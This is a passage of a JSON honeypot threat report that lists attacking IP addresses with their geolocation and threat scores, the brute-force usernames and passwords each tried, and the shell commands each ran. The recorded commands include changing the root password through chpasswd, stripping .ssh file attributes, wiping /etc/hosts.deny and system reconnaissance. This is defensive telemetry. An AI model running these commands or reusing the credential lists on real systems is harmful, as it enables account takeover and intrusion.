        "seekcy",
        "ubuntu",
        "vox",
        "web",
        "wk",
        "yangy"
      ],
      "passwords_attempted": [
        "123",
        "1q2w3e$R",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd123$",
        "Apple2020",
        "Claude2026!",
        "Joysuch@Locate2024",
        "Linux123!@#",
        "Root1234",
        "devel",
        "erp",
        "neeraj",
        "qazxswedc123",
        "robot",
        "server1234",
        "tes123",
        "ubuntu",
        "web123456",
        "yangy"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:fE3KY1xizpvZ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Miraflores",
      "asn": 27843,
      "as_org": "WIN EMPRESAS S.A.C.",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:05:22.207000+00:00",
        "last_seen_30d": "2026-05-19T01:30:26.456000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 50
      }
    },
    "211.253.37.225": {
      "attack_count": 162,
      "first_seen": "2026-05-29T21:21:00.723Z",
      "last_seen": "2026-05-29T21:50:39.340Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ty",
        "adminuser",
        "agent",
        "ftpuser",
        "sftptest",
        "staging",
        "wfp",
        "wireguard",
        "zenith"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W3e4r",
        "123",
        "1234",
        "12qw",
        "P@SSW0RD",
        "P@ssw0rd",
        "Qwe@123456789",
        "agent123!",
        "opengate",
        "qwe123456@",
        "sftptest",
        "staging123",
        "ty",
        "wfp",
        "zenith"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ty\\nRK2fqFHzzeWZ\\nRK2fqFHzzeWZ\\n\"|passwd",
        "echo -e \"ty\\nRK2fqFHzzeWZ\\nRK2fqFHzzeWZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 205,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:21:00.723000+00:00",
        "last_seen_30d": "2026-05-29T21:51:43.332000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 162,
        "Suricata": 43
      }
    },
    "77.90.40.68": {
      "attack_count": 143,
      "first_seen": "2026-05-24T10:50:50.541Z",
      "last_seen": "2026-05-24T11:35:32.738Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aaa",
        "daniela",
        "git",
        "moshe",
        "tk",
        "work"
      ],
      "passwords_attempted": [
        "$#@!ergean*(",
        "12312300",
        "123456",
        "123QWEqwe@",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin001",
        "Cq123456",
        "Servidor1",
        "Uc123456",
        "daniela",
        "hello",
        "moshe",
        "qaz123456.",
        "server@2021",
        "tk",
        "work123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:kX6qc49IYS7Q\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 213495,
      "as_org": "Servitro Ltd",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:50:50.541000+00:00",
        "last_seen_30d": "2026-05-24T11:36:36.785000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "31.41.152.180": {
      "attack_count": 139,
      "first_seen": "2026-05-25T13:22:52.157Z",
      "last_seen": "2026-05-25T14:20:21.591Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "curl",
        "345gs5662d34",
        "admin",
        "cloud",
        "ftpuser1",
        "git",
        "sammy",
        "sandeep",
        "test2"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "KS@gshyx@zl1651",
        "Nihao123",
        "Wangsu@2017",
        "Zxcasd123",
        "aa123456.",
        "adminadmin",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "sandeep",
        "test2123",
        "welltech12"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"welltech12\\nmikykR98YUv9\\nmikykR98YUv9\\n\"|passwd",
        "echo -e \"welltech12\\nmikykR98YUv9\\nmikykR98YUv9\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 49505,
      "as_org": "JSC Selectel",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T13:22:52.157000+00:00",
        "last_seen_30d": "2026-05-25T14:21:23.973000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 139,
        "Suricata": 40
      }
    },
    "117.253.160.234": {
      "attack_count": 130,
      "first_seen": "2026-05-20T07:11:42.078Z",
      "last_seen": "2026-05-20T16:14:50.002Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Safidon",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 195,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:11:42.078000+00:00",
        "last_seen_30d": "2026-05-20T16:15:52.265000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 130,
        "Suricata": 65
      }
    },
    "122.168.123.73": {
      "attack_count": 124,
      "first_seen": "2026-05-29T11:37:12.332Z",
      "last_seen": "2026-05-29T12:01:58.070Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "345gs5662d34",
        "abhi",
        "carlos",
        "hadoop",
        "lisi",
        "user3",
        "wg"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwe@123456",
        "abhi@123",
        "admin",
        "admin@2025",
        "carlos",
        "fjbdfdjkdsfs541544",
        "moon",
        "wg"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin@2025\\n8SrwHswgFhjl\\n8SrwHswgFhjl\\n\"|passwd",
        "echo -e \"admin@2025\\n8SrwHswgFhjl\\n8SrwHswgFhjl\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Indore",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T11:37:12.332000+00:00",
        "last_seen_30d": "2026-05-29T12:03:07.326000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "148.135.122.178": {
      "attack_count": 114,
      "first_seen": "2026-05-05T00:09:03.772Z",
      "last_seen": "2026-05-20T10:16:10.928Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.3,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:09:03.772000+00:00",
        "last_seen_30d": "2026-05-20T10:17:14.100000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 58
      }
    },
    "188.44.20.34": {
      "attack_count": 114,
      "first_seen": "2026-05-05T00:48:59.646Z",
      "last_seen": "2026-05-31T18:38:47.741Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Struga",
      "asn": 57374,
      "as_org": "Company for communications services A1 Makedonija DOOEL Skopje",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:48:59.646000+00:00",
        "last_seen_30d": "2026-05-31T18:39:51.691000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 57
      }
    },
    "101.57.67.93": {
      "attack_count": 102,
      "first_seen": "2026-05-22T19:29:26.718Z",
      "last_seen": "2026-05-22T20:26:59.080Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 210278,
      "as_org": "Sky Italia srl",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:29:26.718000+00:00",
        "last_seen_30d": "2026-05-22T20:37:11.270000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 64
      }
    },
    "190.2.72.161": {
      "attack_count": 100,
      "first_seen": "2026-05-22T10:40:04.021Z",
      "last_seen": "2026-05-22T20:26:00.011Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Luzi\u00e2nia",
      "asn": 61920,
      "as_org": "Link Explorer",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:40:04.021000+00:00",
        "last_seen_30d": "2026-05-22T20:27:07.150000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 50
      }
    },
    "34.38.253.167": {
      "attack_count": 86,
      "first_seen": "2026-05-18T02:32:34.784Z",
      "last_seen": "2026-05-18T02:33:28.910Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0"
      ],
      "passwords_attempted": [
        "$4",
        "Cseq: 4210",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        "KHTML, like Gecko",
        "PING",
        "",
        "Chrome/127.0.0.0 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
        "Win64",
        "Windows NT 10.0",
        "Windows NT 10.0 ; Win64 ; x64",
        "x64"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T02:32:34.784000+00:00",
        "last_seen_30d": "2026-05-18T02:34:37.708000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 86,
        "Suricata": 42
      }
    },
    "34.77.144.7": {
      "attack_count": 77,
      "first_seen": "2026-05-24T05:44:36.804Z",
      "last_seen": "2026-05-24T05:45:28.321Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8170",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T05:44:36.804000+00:00",
        "last_seen_30d": "2026-05-24T05:46:38.030000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 77,
        "Suricata": 42
      }
    },
    "35.190.203.147": {
      "attack_count": 73,
      "first_seen": "2026-05-18T02:20:34.299Z",
      "last_seen": "2026-05-18T02:21:05.664Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8666",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-18T02:19:13.369000+00:00",
        "last_seen_30d": "2026-05-18T02:22:15.215000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 44,
        "Dionaea": 1
      }
    },
    "208.87.242.161": {
      "attack_count": 72,
      "first_seen": "2026-05-04T20:38:14.669Z",
      "last_seen": "2026-05-31T22:31:18.052Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 54.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:38:14.669000+00:00",
        "last_seen_30d": "2026-05-31T22:32:26.007000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "68.220.60.229": {
      "attack_count": 70,
      "first_seen": "2026-05-07T14:56:23.019Z",
      "last_seen": "2026-05-07T15:07:25.422Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "123123ab!",
        "1234",
        "123key",
        "1905",
        "1906",
        "1912",
        "1913",
        "1914"
      ],
      "commands_executed": [
        "awk /MemTotal/{print $2} /proc/meminfo 2 > /dev/null",
        "df / 2 > /dev/null | awk NR==2{print $2}",
        "dpkg -l 2 > /dev/null | grep -c ^ii",
        "dpkg -l 2 > /dev/null | grep -c ^ii || rpm -qa 2 > /dev/null | wc -l || echo 0",
        "grep model name /proc/cpuinfo 2 > /dev/null | head -1 | cut -d : -f2- | sed s/^ *//",
        "ip addr show 2 > /dev/null | grep -E ^[0-9]+: | head -5",
        "ip route show 2 > /dev/null | head -3",
        "nvidia-smi --query-gpu=name,memory.total,driver_version --format=csv,noheader 2 > /dev/null",
        "rpm -qa 2 > /dev/null | wc -l",
        "ss -tuln 2 > /dev/null | wc -l",
        "ss -tulpn 2 > /dev/null | grep LISTEN | head -20",
        "systemctl list-units --type=service --state=running 2 > /dev/null | head -10",
        "test -f /.dockerenv",
        "test -f /run/.containerenv",
        "wc -l < /etc/passwd 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.file_download",
        "cowrie.log.closed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:55:05.002000+00:00",
        "last_seen_30d": "2026-05-07T15:08:31.187000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 24
      }
    },
    "112.93.203.60": {
      "attack_count": 54,
      "first_seen": "2026-05-04T22:29:43.636Z",
      "last_seen": "2026-05-04T22:33:42.140Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanhai",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T22:29:43.636000+00:00",
        "last_seen_30d": "2026-05-04T22:34:45.655000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 28
      }
    },
    "123.172.80.147": {
      "attack_count": 54,
      "first_seen": "2026-05-19T06:33:41.027Z",
      "last_seen": "2026-05-19T10:05:58.078Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:33:41.027000+00:00",
        "last_seen_30d": "2026-05-19T10:16:02.013000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 30
      }
    },
    "136.243.133.118": {
      "attack_count": 54,
      "first_seen": "2026-05-09T21:32:46.259Z",
      "last_seen": "2026-05-12T06:52:30.667Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:32:46.259000+00:00",
        "last_seen_30d": "2026-05-12T06:53:36.326000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 26
      }
    },
    "206.135.169.43": {
      "attack_count": 50,
      "first_seen": "2026-05-07T07:41:18.906Z",
      "last_seen": "2026-05-07T07:46:47.225Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
